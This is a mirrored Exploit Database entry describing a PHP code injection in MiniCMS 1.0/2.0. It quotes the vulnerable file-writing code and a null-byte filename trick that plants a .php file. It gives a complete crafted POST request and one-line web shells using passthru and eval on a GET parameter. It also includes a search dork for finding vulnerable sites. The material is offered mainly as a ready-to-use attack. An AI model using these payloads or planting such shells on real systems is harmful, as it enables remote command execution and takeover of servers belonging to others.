MiniCMS 1.0/2.0 – PHP Code Injection

• Exploit Database
• 107 阅读

• 作者： Or4nG.M4N
  日期： 2012-01-22
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/18410/
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  ######################################################################## # Title: miniCMS v1.0 : v2.0 php inject code # Author : Or4nG.M4n # Version: all version # GDork: "This site is managed using MiniCMS©" # Download : http://sourceforge.net/projects/mini-cms/files/mini-cms/ # Thnks : # +----------------------------------+ # | xSs m4n i-Hmx h311 c0d3| sp. Cyb3r-Crystal # | SarBoT511 ahwak2000 sa^Dev!L | sp. ahwak2000 # +----------------------------------+ # php code injection and bypass addslashes(); # vuln : update.php shell path /content # vuln : updatenews.php shell path /content/news   $filename = "content/".$pagename.".txt"; <= .php%00 if ($file = fopen($filename, "w")) { //chmod($filename, 0777); if($pagename == "sitemap"){ $eachline = split("\n", $postTemp["content"]); $cleancontent = ""; foreach($eachline as $el){ if(trim($el) != ""){ $cleancontent .= trim($el) . "\n"; } } $postTemp["content"] = $cleancontent; } //$postTemp["content"] = str_replace(&apos;"&apos;, &apos;\"&apos;, $postTemp["content"]); if (!get_magic_quotes_gpc()) { $postTemp["content"] = addslashes($postTemp["content"]); } fwrite($file, serialize($postTemp)); fclose($file); } else { echo "Unable to open file for writing, please check permissions on content directory"; } } else { $filename = "content/".$area.".txt"; < = .php%00 if ($file = fopen($filename, "w")) { chmod($filename, 0777); //$postTemp["content"] = str_replace(&apos;"&apos;, &apos;\"&apos;, $postTemp["content"]); fwrite($file, $postTemp["content"]); fclose($file); } How i can Use this Exploit in your Browser FireFox use add on LIVE HTTP HEADER in target page [ http://localhost/miniCMS-2.0/index.php?page=1 ] .. Replay to : POST : http://www.cmtsystem.com/mCMS/update.php Host: localhost User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:9.0.1) Gecko/20100101 Firefox/9.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Connection: keep-alive Referer: http://localhost/miniCMS-2.0/index.php?page=1 Cookie: miniCMSdemo=32b5075aba3eb6c5d11129ec114346c2 Content-Type: application/x-www-form-urlencoded Content-Length: 47 Post this shit : title=1&metadata=1&content=[CODE]&page=thnks-ahwak2000-cyber-crystal.php%00&area=content Add Your code php here : [CODE] Now how i can bypass addslashes(); inject <?php passthru($_GET[cmd]);?> or <?php eval($_GET[cmd]);?> Don&apos;t Forget Referer : http://site/index.php?page=1 [ ! ] http://site/content/thnks-ahwak2000-cyber-crystal.php?cmd=uname-a # Thnks to all Stupid Coder # The End